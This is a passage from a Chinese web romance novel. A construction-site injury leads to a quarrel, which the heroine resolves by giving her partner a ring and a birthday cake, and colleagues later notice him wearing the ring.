她顿了顿,努力撑起一丝清醒,“有什么事吗?”
他的语气听不出什么波澜,只是淡淡应道:“没事,睡吧。”
仿佛只是随口一问。
翌日清晨。
蔚汐被闹钟唤醒时,身边的位置已经空了。
她强撑着身体不适起床洗漱,和周聿深一起用了早餐。
去往单位的途中,她满脑子都是今天的工作安排,以及周五要去现场协调的几个棘手问题。
昨晚那段关于小皮筋的插曲,早已被抛到九霄云外。
车子平稳地停在住建厅单位门口。
蔚汐解开安全带,习惯性跟他道别:“那我走啦……”
“咔哒”一声轻响,车门落锁。
周聿深单手搭在方向盘上,侧过身看她。
晨光透过车窗在他轮廓分明的脸上投下淡淡的光影。
“是不是有什么东西忘记了?”
“……啊?”
周聿深没说话,只是将右手递到她面前,暗示她。
蔚汐愣住了,茫然地看着他骨节分明的手腕,又抬眼看着他,整个人紧张得不行:“……什么?”
完了。
被发现了吗?
她昨天偷偷测量应该没那么明显吧?
周聿深见她完全没反应过来,终于开口:“小皮筋。”
“忘了?”他声音里透着些压迫感,伸出的手却并没有收回的打算。
“没、没有!”蔚汐脸颊倏地漫上一层薄红,没想到他真的要戴那个算是‘小朋友’宣示**的纪念。
当然,小朋友这三个字是一定不能提的。
毕竟吃亏吃太多,这回长记性了。
蔚汐手忙脚乱地翻开自己的包,幸好有随身带备用皮筋的习惯,在里面翻出了一个黑色素圈。
她倾身过去,微凉的手指轻轻托住他的右手。
小心地将黑色的线圈束在他的手腕上。
“好像有点小了……会不会很紧?”
“不会。”他淡淡道。
蔚汐还想试试看会不会勒,周聿深就已经把手腕收了回去,似乎是生怕她会反悔一样。
周聿深不紧不慢地按下解锁键,“要迟到了,宝宝。”
“拜拜!”
说完,她便飞速下车,小跑着进了单位大楼。
周聿深指尖在方向盘上轻点了一下,目光扫过手腕上多出的那个小东西时,唇角勾起一个极浅的弧度。
车子重新汇入车流,很快消失不见。
蔚汐摸了摸自己有些发烫的脸颊,回到办公室后才敢发信息跟导购确认时间:
[你好,我后天下午去取,麻烦您帮我调一下货。]
——
两天后。
蔚汐再次前往那条道路改造的片区查看进度。
围挡部分已经设立,工地上机器轰鸣,尘土飞扬。
她戴着安全帽,和几位同事以及施工方的负责人一起,沿着临时划出的安全通道走着,仔细核查管线迁移的进度和几个存在争议的节点。
“蔚科长,你看这边,按照原图纸,这根主管道应该从这边下穿,但地下障碍物比预想的复杂。”
施工队长指着前方已经挖开的一段沟壑,里面布满了各种粗细不一的管道和线缆。
蔚汐往前走了几步,想更清楚地看清沟壑内的情况。
她一边听着施工队的解释,一边在脑海中对接着设计图纸和现场实际情况。
“李工,从图纸上看,这根备用光缆的埋深应该不足以影响到我们的主管道,有没有可能是勘察的标记误差?”
测量设备很快被推了过来。
蔚汐侧身让开,向旁边稳妥的支撑点靠了一步。<
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br>然而,就在她重心转移的瞬间,脚下原本看似稳固的碎石忽然一松!
“小心!”
“蔚科长!”
事发突然,周围的人根本来不及反应。
蔚汐反应极快,身体失去平衡的刹那,立刻用手臂护住脑袋,幸好沟壑并不算深,她顺着坡度栽了下去。
但即便如此,支撑身体的手臂在粗糙的水泥管线上擦过,还是泛起一阵火辣辣的疼。
“蔚科长!伤到了吗?”
“问什么问!快先把人扶上来!”
上面的人顿时围了过来,声音充满焦急。
蔚汐被扶起来后,能感觉到手臂擦破了一大片,但还是强忍着痛,声音平稳:“没事,大家继续工作,先处理好刚才说的问题。”
“肯定伤得不轻,得去医院看一下要不要打破伤风啊?”
“真不用,”蔚汐摇摇头,看了眼伤口,“这儿有急救药箱吗?简单清理包扎一下就好。”
她态度坚决,众人只好依她。
在工地上的临时医务点,蔚汐用碘伏清洗了一下伤口,简单包扎了一下,而后便匆匆回到现场。
她坚持把剩下的点看完,将几个棘手事项初步落实。
“今天的进度和问题点都已经记录清楚,后续如果有问题记得及时沟通。”
“放心吧蔚科长,您这手臂……”
“不碍事。”蔚汐轻笑了下,语气温和:“大家辛苦了,注意安全。我们下周会再来跟进。”
返回单位之后,蔚汐第一时间就去了陆处的办公室。
原本今天下午就是要请假的,只是没想到意外擦伤,理由显得更充分了一些。
陆处听完更是吓得直接批准了,甚至再三追问:“真没伤到吧?没有骨折什么的吧?你千万别硬撑啊,现场出意外这可不是小事,万一让……咳……”
“万一传出去,对咱们处里影响不好。”
蔚汐自然明白陆处话外的意思,她无奈笑笑:“真的没事处长,只是一点儿擦伤而已。”
陆处长瞅了一眼,这才放下心来,“那就好,手头工作也差不多忙完了,周末你就好好休息。”
“谢谢处长。”
蔚汐请假离开单位后,关于她受伤的消息还是隐隐约约地传开了。
第139章 铂金戒指 潮汐纹路
傍晚的夕阳透过梧桐里的窗户照进来。
蔚汐的伤口刚在医院包扎完,就又被外婆一通电话给逮了回来,两位老人的眼底满是无奈与心疼。
长辈这边还没解释清楚。
男朋友那边的电话就打来了。
蔚汐指尖微顿,深吸了口气才接起,尽量让声音听起来轻松平常,“喂?”
电话那头,周聿深的声音听不出什么情绪:“受伤了?”
蔚汐原本打算晚上见面再告诉他的,没想到消息传到他那边会这么快。
“嗯。”她老实承认,语气放软:“在工地不小心滑了一下,手臂擦破点皮,已经处理好了,不严重的。”
不远处的外婆正在叮嘱外公,千万不要留疤什么的。
动静其实不算大。
但电话那边还是听到了。
周聿深沉默了片刻,再开口时,声音依旧平稳,却透着一种让人莫名心慌的冷静:“汐汐,你的家人、同事、领导都比我最先知道你受伤的事情,如果我没打这通电话……”
他顿了顿,语气没什么起伏:“你是不是打算今晚不回泊月,继续瞒着我?”
“我没有那个想法,”蔚汐连忙解释,语气带着几分依赖:“是刚好在医院包扎的时候碰到王姨了,外婆知道后一通电话追过来,我就先回梧桐里让她安安心。我没有打算瞒着你,晚上也一定要回去的。”
他听着,末了只是很轻地应了一声:“嗯。”
短暂的沉默后。
周聿深语气平和地说道:“有外公外婆照顾你,我也放心。晚上洗漱的时候自己注意,伤口别沾到水。”
蔚汐握着手机,指尖无意识地收紧,听见自己故作轻松的声音:“那你……晚上不过来接我了吗?”
问完这句话,她心里闷闷的,有些莫名的委屈。
周聿深没有直接回答,“你想让我去接你吗?”
他总能这样,从容地将问题交还给她,让她无法回避自己真实的内心。
蔚汐垂下眼睫,声音轻得几乎要融进夕阳里:“想。”
听筒里传来他极轻的呼吸声,仿佛一声无声的叹息。
“想见我?”
“嗯。”
“那为什么,”周聿深放缓语速,每个字都清晰而冷静地落下,“受了伤,第一时间依赖的那个人不是我?第一时间想到的人,也不是我?”
处理伤口、协调工作、返回单位、甚至有时间跟领导请假报备,都没有给他打一通电话,或者发一条信息。
她这次的沉默可以说完全在他的预料之外。
甚至开始怀疑,是不是没有给到小姑娘足够的安全感和信任。
周聿深的声音再次传来,比之前更沉静了几分:“如果换作是我受了伤,你却要从别人口中最后一个得知消息,汐汐,你会怎么想?”
尖锐的酸涩和心疼迅速淹没了她。
她会感到被排除在他的世界之外,会失落,会难过。
“我会……很难过。”她老实承认,声音低哑。
“所以,”他顿了顿,给了她片刻消化的时间,“现在明白了吗?”
“明白了。”蔚汐没有得到他的肯定答案,有些不放心地再次追问:“那你会来接我吗?”
电话那边终于传来他似乎缓和了些的气息。
“在路上了。”
“半小时后到。”
得知她受伤之后,周聿深便第一时间处理完了所有的紧急工作,原本是准备回泊月的,电话里听说她在梧桐里,又调转方向,这才耽误了不少时间。
傍晚,天色将暗未暗时。
那辆熟悉的黑色轿车停在了梧桐里巷口。
周聿深下车,手里提着合长辈心意的礼品,步入小院。
他神色如常地和外公外婆打招呼聊天,语气温和,又自然地问起蔚汐的伤口如何,有没有什么注意事项或者忌口。
蔚汐安静地坐在一旁的沙发上。
周聿深的目光偶尔会落在她身上,也会在她想要
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喝水时,先一步自然地将水杯递给她。
但只有蔚汐知道。
他眼底那些被妥善克制着的担忧与不悦。
这下……
好像真的有点难哄了……
回到泊月公馆,客厅安静得只剩下彼此的呼吸声。
周聿深没给她太多准备的时间,直接背靠沙发,抱着她坐在自己腿上,小心避开了她手臂上的伤口。
“我们谈谈,汐汐。”
他开口,声音低沉,却带着不容回避的认真。
蔚汐看了眼墙上的挂钟,下意识想拖延,小声商量:“现在吗?明天……好不好?”
周聿深微微摇头,语气平和却毫无转圜余地:
“不好。”
“问题不能隔夜,我会担心。也不能让你带着伤,带着情绪去休息。”
知道他决定的事很难改变,蔚汐只好轻声应允:“好。”
周聿深指腹轻抚着她手背,注视着她,“不告诉我你受伤的事情,是觉得这只是小事,不需要我知道,还是觉得……我知道了也无关紧要?”
他没有在生气,也没有在指责。
而是在表达想要被她全然依赖,融入她所有时刻的渴望。
蔚汐看着他近在咫尺的脸,看着他眼底深藏的缱绻与克制,忽然凑上前,柔软的唇轻轻贴了一下他的唇角。
“闭眼,周聿深。”她的声音轻软,带着一丝诱哄。
周聿深身形微怔,显然是没料到这个突如其来的吻。
当看到她清澈而带着心疼的眼眸时,最终还是无法抗拒,缓缓闭上了眼睛。
蔚汐从口袋里拿出了那个小小的丝绒盒子。
打开之后。
那枚铂金戒指静静躺在深色绒布上,潮汐般的纹路在灯光下泛起细腻光泽。
她小心地捏起指环,在开口讲话的同时,将戒指缓缓推入他的无名指上。
“本来想在你生日的第一秒,给你这个。”
“但我的私心……不舍得你在此刻难过。”
第140章 她的回应 月亮与潮汐
无名指上传来冰凉的触感。
那枚戒指妥帖地环在他的指间,尺寸完美贴合。
周聿深呼吸停滞了一瞬,目光落在设计别致的戒指上,看了足足两三秒,才缓缓抬起。
客厅暖调的灯光映在她脸上,染出一层柔光。
蔚汐的眼睛异常明亮坚定,带着细微的紧张。
“周聿深,”她声音轻柔,字字清晰:“我知道你在等我的答案,等一个我觉得恰到好处的时机。”
“我也感觉得到,你之前……在意我的情绪,追问我有没有吃醋,本质上,或许有那么一点点的患得患失。”
蔚汐的指尖轻轻碰了碰他戴好戒指的手指,“可能我的方式总是慢一点,犹豫多一点,不是因为不确定,而是因为太确定,所以总想准备得更好一点。”
“我原本的计划,是等到零点过后,你生日的第一秒。”
她微微抿唇,露出一丝带着歉意的柔软笑容:“可是,我看到你不开心,看到你因为被我排在‘后面’而难过,我就舍不得了。”
周聿深眼眸里最初的冷静和克制早已褪去。
取而代之的是一种更为复杂,几乎要满溢出来的动容。
蔚汐轻抬起手,抚平他微蹙的眉心,又碰了碰他的脸颊。
她的眼神柔软得像一汪春水,承诺说:“我保证,以后刮风下雨第一个告诉你,磕了碰了第一个找你哭,开心了得意了也第一个跟你炫耀。好不好?”
周聿深终于有了更大的反应。
他的喉结上下滚动着,像是将某种翻涌的情绪缓缓压下。
“所以……”他开口,声音比方才哑了几分:“你这是在用一枚戒指,和一个承诺,来哄我?”
蔚汐脸颊微热,坚定地点了点头:“嗯,效果好吗?”
周聿深眼底早已是一片深沉的温柔,语气带着一丝无可奈何的喟叹:“蔚汐,你总是有办法……让我不知所措。”
但紧接着,他声音低哑得厉害:“但我必须指出,你犯了一个‘错误’。”
蔚汐长睫轻轻颤动了一下,茫然应道:“错误?”
“嗯。”周聿深指腹抚过她的脸颊,眼神专注而认真,逐字说道:“求婚这件事,理应由我来做。”
原来是指这个。
蔚汐心底那点小小的紧张瞬间化为莞尔。
她主动抬起自己空无一物的手指,在他眼前晃了晃,声音温软而清晰:“是呀,所以你看,我还是很有原则的,只准备了你的这一枚,虽然那款配套的女戒很漂亮,但想了想,应该把机会留给你。”
周聿深捉住她晃动的手,紧紧扣在掌心,另一只手则是环着她的腰,更近地贴向自己。
“机会是机会。”
“但已经确定的身份,不许变。周太太。”
最后那三个字,他刻意放缓了语速,咬得极重。
这近乎命令的语气,比任何情话都让蔚汐心跳加速。
她脸颊绯红,小声**:“你好霸道啊,周聿深……”
话音未落,所有的声音便被他骤然落下的吻彻底吞没。
他一边近乎掠夺地吻着她,一边将她打横抱起,步伐又快又稳地走向卧室。
这次的亲密比以往任何一次都要急切。
那枚微凉的金属戒指偶尔擦过她柔软细腻的肌肤。
“戒指……有点硌……”
蔚汐在他亲吻的间隙,气息紊乱地轻声哼吟。
周聿深动作只是稍顿,随即更用力地握住她的手,与她十指紧密相扣,让那枚戒指严丝合缝地嵌在两人交织的指缝间。
他再次深深吻她,唇齿间溢出的声音模糊而绝对:
“不摘。”
他要这枚戒指,时时刻刻见证着他此刻拥有的全部。
意识在浪潮中浮沉,直到墙上的时钟悄然重叠,指向零点。
蔚汐忽然在一片迷蒙中喘息停下,手心抵着他的胸膛。
她的声音又软又糯,带着惊人的破坏气氛的能力:
“周聿深,我……我饿了……”
箭在弦上的男人身体骤然绷紧,忍耐显然已经到了极限。
他撑起身,在昏暗的光线下盯着她,眼神里充满了欲求不满的压抑:“晚上在梧桐里,不是吃了很多吗?”
老人家担心她的身体,特意给做了拿手的药膳鸡。
一大碗汤。
两个鸡腿。
他记得她吃了不少,比平常都要多。
蔚汐脸颊红得厉害,眼神湿漉漉地看着他,小声却固执地反驳:“那也没有很多……而且后来担心你不开心,饭后水果都没吃就回来了……”
她语气里带着自己都未察觉的娇气委屈:“情绪起伏也很消耗体力的,你忍心让一个病人饿肚子嘛?”
周聿深闭了闭眼,额角滚烫的汗珠滑落。
他极重地喘了口气,最终还是败给了她,低头带着惩罚意味地在她唇上咬了一口。
“……等着。”
他几乎是用了极大的意志力才从温软中抽身,离开主卧。
蔚汐看着他挺拔的身影消失在视线中,心跳
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不由自主地加快,唇角悄悄扬起一抹期待的笑意。
开放式的餐厅安静至极。
周聿深带着一身未散的燥热和火气,拉开了冰箱门。
预想中的冷气扑面而来。
但映入眼帘的,却不是任何食物。
冰箱内原有的食材都被清空,取而代之的是一片柔软、梦幻般的暖白色光晕。
层架上错落有致地铺满了淡粉白色的奥斯汀荔枝玫瑰,花瓣上还带着晶莹的水珠,浓郁的甜香扑面而来。
繁花簇拥的正中央,放置着一个精致漂亮的蛋糕。
深蓝色的奶油勾勒出静谧的夜空与翻涌的潮汐,一抹用糖霜做出的皎洁弯月悬于其上,周围点缀着细碎的银色闪粉,如同星辰坠入深海,波光粼粼。
她生日时收到了他送的“山海遇潮汐”微景观蛋糕。
而眼前这个——
是回应,是共鸣,是独属于蔚汐的浪漫表达。
蛋糕旁边,还立着一个素白的信封。
周聿深先打开了那封信,信纸是质感很好的奶油色纸张,上面是她清秀而有力的字迹。
周聿深:
展信安。
相识至今,始于公事,严谨克己乃常态。
我曾畏你之威仪,亦敬你之格局。深知你所言所行,皆需权衡万千,常于大局与细微处寻求艰难平衡。
其中压力,虽不言,但我能略窥一二。
于公,你是严苛的引领者,于私,你是温柔的伴侣。
记得生日那天,你送我的“山海遇潮汐”,磅礴而厚重,如同你给我的爱,安稳、可靠,仿佛能抵御一切风浪。
山海固然令人仰望,潮汐亦需奔赴**。
它们壮美,却似乎总隔着一层难以逾越的距离感。
所以于我而言——
你更像是悬于夜空的月亮。
清辉皎洁,看似遥远,却无时无刻不以引力牵引着潮汐。
潮汐因此而涌动,而澎湃,而有了生命般的呼吸与节奏。
我们之间,从来不是山海与潮汐的遥望,而是月亮与潮汐的共生。你从容地悬于夜空,牵引着我所有的轨迹,让我成为更好、更优秀的自己。
我们彼此独立,又互为印证,缺一不可。
这个蛋糕就是我心中的我们(????>??(>??<????)
夜空、潮汐,和那弯不可或缺的月亮。
新的一岁,愿我的月亮,永远皎洁清朗,而我,会永远做你最澎湃、最忠诚的潮汐。
汐汐
于你生辰前夕
第141章 不是追逐 而是共振
周聿深一字一句地读完,指腹无意识地摩挲着信纸的边缘,细腻的触感仿佛带着她的温柔。
他久久地沉默着,目光再次落回那个蛋糕上,看着那弯皎洁的月亮和涌动的潮汐。
方才她那些略显突兀的要求……
原来是为了这一刻……
一种难以言喻的情绪缓慢地充盈了他的胸腔。
他经历过太多浮华与喧嚣,早已习惯用冷静和理智去衡量一切,却在此刻,被这份写满爱意的文字,击中了内心最柔软的腹地。
她不仅懂他之前的失落,更重新定义升华了他们的关系。
不是依附,而是共生。
不是追逐,而是共振。
细微的脚步声从身后传来。
周聿深将那页信纸稍稍放低了些,回头,朝她张开手臂。
蔚汐飞快扑到他怀里,看到他眼中清晰的感动和比预想中更深的喜悦,悬着的心终于落下。
她仰起头,主动吻了吻他的薄唇,轻声说着:
“我不知道该怎么更确切地告诉你,我对你,有全然的信任和托付。想了很久,似乎只有‘借鉴’你的日记和蛋糕,结果唯一‘原创’的戒指礼物还提前给你了。”
“嗯……好像仪式感有点乱套了,但也不是很重要……”
“重要的是,有句话,我从来都没有对你说过。”
蔚汐目光灼灼地看着他,语气温柔而坚定:“生日快乐,我爱你呀。”
周聿深低下头,寻到她的唇,吻了下去。
他将她紧紧地拥入怀中,声音贴着她的唇瓣响起,带着明显的动容:“我知道,我也爱你。”
蔚汐被他急切的拥抱给弄得有些喘不过气。
她看向旁边放着的蛋糕,手里还攥着一堆仙女棒爱心蜡烛,努力提醒说:“你还,还没许愿呢,要点蜡烛……”
周聿深接过她手里的那些蜡烛,随意放到一旁。
“醒来再许愿也不迟。”
“啊?”
蔚汐一时没明白延迟许愿的逻辑。
但周聿深没再给她思考的时间,一把将她打横抱起,步履沉稳而急切地走向卧室。
和往常不一样的是。
她的手臂受伤了。
周聿深半哄半骗地让小鱼宝宝在鱼缸上方。
……
翌日中午。
厚重的窗帘隔绝了大部分的阳光。
蔚汐是在浑身酸软与喉咙的干涩中逐渐醒过来的。
她撑着身体坐起来,被子滑落,露出锁骨处暧昧的红痕。
卧室门被轻轻推开。
周聿深走了进来,手里端着一杯温水,径直走到床边。
“醒了宝宝?”他将水杯递到她唇边,语气透着餍足的松弛:“喝点水。”
蔚汐小口喝着,声音还带着刚睡醒的沙哑,“几点了?”
“快十二点了。”
“我睡了这么久?”
周聿深在床沿坐下,很自然地伸手帮她理了理披散下来的长发,目光落在她脸上,“七点才睡,也就几个小时。”
蔚汐想起他昨晚的乱来整个人都害羞得不行。
她抬眼看他,语气里带着软哑的埋怨和无奈:“晚上还要去老宅吃饭……你这样……我怎么见长辈呀?”
周聿深动作微顿,目光落在她纤细的脖颈上。
好像……
确实是有点过分了……
他眼底掠过一丝极淡的愧疚,不由分说地将人揽在
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怀里,温柔地亲了亲她柔软的脖颈。
蔚汐象征性地挣了挣,没挣脱。
“我的错。”他下巴轻蹭她的发顶,低沉的嗓音贴着耳廓响起,带着温热的气息,“只是情难自抑,宝宝。”
话是这么说,但语气里听不出多少悔意,反而像是猛兽餍足后慵懒的舔舐。
见她耳根通红地埋在自己怀里不讲话,周聿深低笑一声,安抚道:“穿严实点应该没关系?我们不在老宅那边过夜,吃顿饭就走,不会有人看见。”
蔚汐在他怀里闷闷地“哼”了一声。
最终,她还是选了件柔软的米白色高领针织衫,外搭浅色宽松的毛呢大衣,临走时,还特意戴上了围巾,恰到好处地遮掩了所有痕迹。
……
到了周家老宅,气氛比预想中要缓和许多。
餐桌上都是些清淡可口,明显照顾蔚汐口味的菜系。
周聿深更是跟贴身保镖似的,蔚汐去哪儿他就去哪儿,蔚汐目光落在哪道菜上,他便会直接夹到她的碗里,蔚汐杯子里的水刚少了三分之一,他就已抬手为她斟满。
虽然两个人的日常相处也是如此。
但毕竟是在长辈面前,蔚汐还是有点不好意思。
周聿深倒是神态淡然,开口解释:“她的手臂在协调工作的时候不小心擦伤了,所以不太方便,需要多照顾。”
放下公筷后,他的左手随意地搭在桌沿。
灯光下,无名指上那枚戒指折射出冷静而清晰的光芒,与他本身沉稳内敛的气场相比,显得格外醒目。
周戎铮坐在主位,目光扫过,忍不住拆穿:“行了,照顾人是应该的,用不着一直晃悠那戒指。”
第142章 引人注目 未婚妻送的
周戎铮的话让餐桌上的气氛顿时轻松了几分。
蔚汐的脸颊微微泛红,忍不住在桌下轻轻碰了碰周聿深的腿,示意他收敛点。
周夫人也微笑着接话,语气温和:“工作辛苦,也要多注意安全。”
蔚汐点了点头,礼貌应道:“谢谢阿姨关心。”
这顿饭吃得还算顺畅,周戎铮又问了问两人近期的安排,周聿深都言简意赅地答了,也会适时地把话题引到蔚汐擅长或轻松的领域,避免她感到压力。
但终究因为那层未完全消散的薄雾。
气氛并没有真正热烈起来。
饭后稍坐片刻,喝了半盏茶,周聿深便提出离开。
“明天我还有工作要处理,就先回去休息了。”
周戎铮点点头表示理解。
孟雯敬也站起身,目光落在蔚汐身上,柔声道:“小汐,你稍等一下。”
她转身从抽屉里取出来一个手工刺绣的布艺红包。
“蔚汐,”孟雯敬的态度更加郑重了几分,“之前的事情,是我考虑不周,行事冒昧,一直想找个机会正式表达我的歉意和心意。”
“担心准备其他见面礼你会不喜欢,里面这张卡,是我和聿深父亲的一点心意,密码设的是你的生日,希望你能收下。”
蔚汐身形微怔,下意识婉拒:“谢谢阿姨,但这个太贵重了,我真的不能收。”
孟雯敬却坚持塞到她手里,轻轻拍了拍她的手背:“你们的工作性质特殊,我都明白,这纯粹是长辈的赠予,来源清晰正当,也补充了合同,你安心收下就好。”
话说到这个份上,再推拒反而显得不太好。
见蔚汐有些为难,周聿深极其自然地从母亲手中接过了那个红包,顺势轻揽了一下她的肩膀,安抚道:“既然准备了,就收着,其他的不必担心。”
他三言两语便接过了所有责任,“爸,妈,我们走了。”
蔚汐被他揽着,只好礼貌颔首,“谢谢叔叔阿姨的晚餐,我们先回去了。”
“嗯,路上小心。”
坐进车里,驶离周家老宅的静谧,她才轻轻呼出一口气。
周聿深侧过身,温热的手掌覆上她放在腿上的手,指腹轻轻摩挲着,“是不是有点累?”
蔚汐摇摇头,反手握住他的手指,“还好,就是有点意外,是你跟阿姨说什么了吗?”
“为什么这样问?”
“感觉。”
比起上次那场不愉快的见面,这次显然更舒适些。
周夫人对她的态度也明显不一样。
是周聿深说什么了吗?
还是……
蔚汐轻抿了下唇,脑海中莫名浮现了舅舅漫不经心说出的那句“撑腰”话语。
回到泊月后,蔚汐便拍了下那张银行卡和赠与合同的照片,发给蔚时尧。
蔚汐:[图片]
蔚汐:[舅舅你是不是有什么事瞒着我?]
过了大半个小时,蔚时尧才慢悠悠地回复。
蔚时尧:[哦。]
蔚时尧:[发给公司法务审核了,合同没什么问题。]
蔚汐:[我不是这个意思,我是想问舅舅见过周家的长辈吗?]
蔚时尧:[不重要,你幸福最重要。]
看到这句话,蔚汐瞬间就明白了过来。
她的眼眶微微泛红,慢慢敲着字:[舅舅,我再也不嫌你年纪大脾气凶找不到舅妈了,你简直就是全世界最好最好的舅舅!]
周聿深见不得她哭,掌心轻抚着她的脑袋,低声问:
“想不想听八卦?”
“什么?”
周聿深轻笑了声,教她如何不动声色地问话:“告诉舅舅,找不到对象的人财产会被外甥女合法继承。”
蔚时尧看着这小姑娘发来的信息,直接气笑了。
他咬着烟蒂,深邃锐利的目光落在睡在他床上的女人身上,长臂一揽,把人捞到了怀里。
这才慢吞吞地回复小姑娘发来的消息。
蔚汐:[虽然但是,舅舅要是再找不到舅妈,我就只能含泪继承你的千万家产,每天被迫从两百平的大床上醒来,开着直升飞机去超市买菜,随机挑几个幸运儿陪我承受这些痛苦了。]
蔚时尧:[微笑/微笑/]
蔚时尧:[放心,你舅妈不图钱,只图人。]
蔚时尧:[这公司本身就有你的份,谈不上继承不继承。顺便告诉周聿深,再挑拨我们舅甥关系,净给你出些坏主意,小心过年见面继续灌他虎骨苁蓉。微笑/]
居然!已经!有舅妈!了吗!
蔚汐想到手机里的录音,已经忍不住开始期待了。
?2?0?2?9?2?0?2?5?0?6?1?2?0?6?0?2?1?2?0?7)?7?7
**
隔日。
中心大楼的专项汇报会议上。
负责某片区规划方案的副处长因为临时提问,准备不足,回答时出现了一处明显的数据疏漏。
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他自己立刻发现,掌心瞬间渗出了冷汗。
完了完了完了。
周聿深虽不至于拍桌子训人,但那冷静的审视和低沉气压的质问,也足以让犯错者倍感压力。
然而,就在众人屏息凝神,以为要有什么“狂风骤雨”的时候,却见周聿深只是微微抬眸,语气平淡地开口:
“这一部分的数据核算和推导依据不够扎实,结论有些仓促。拿回去仔细核对完善一下,明早送到我办公室。”
就这么……完了?
没有冷气压,没有迫人的审视。
甚至连声线都好像莫名柔和了一些?
副处长都做好挨批的心理准备了,闻言猛地抬头,愣了一秒才赶紧应道:“是,**,我马上回去重新核算,保证不会再出错!”
会议室里的其他与会人员表面都不动声色,私下偷偷交换了几个微妙的眼神。
周聿深翻阅文件或端起茶杯时,手腕处的黑色皮筋,以及那枚从未在他手上出现过的铂金戒指,无声地映入众人眼帘。
嗯。
破案了!!!
**绝对恋爱了!!!
会议结束后,周聿深先行离开。
他正与政策研究室的主任边走边简短交谈,迎面便遇上了来此工作的地质局副局长贺筠。
贺筠脚步略缓,目光精准地掠过周聿深的左手。
他唇角牵起一个了然的,略带戏谑的弧度,语气如常地打招呼:“周**。”
周聿深颔首回应:“贺局。”
贺筠顺势站定,声音不高,但在尚未完全散去的人群中,足以让近处的人听清楚:“诶?您手上这戒指挺特别啊,以前好像没见过?”
周围原本细微的交谈声和脚步声瞬间静止了下来。
好几个正准备离开的参会者都不动声色地放慢了动作,或者假装整理文件,目光若有似无地飘向不远处。
谁不知道周**是出了名的公私分明,从来不曾在工作场合谈论任何私人事务,更别提这种和感情生活有关的话题了。
周聿深脚步顿住。
他循着贺筠的视线,抬手看了眼无名指上戴着的戒指。
这个简单的动作本身就已足够引人注目。
但更让人感到震惊的是——
他似乎极其自然地接受了这个询问,然后破天荒地平稳应了一声:“嗯。”
随即,又像是补充说明般,慢条斯理地说道:
“未婚妻送的。”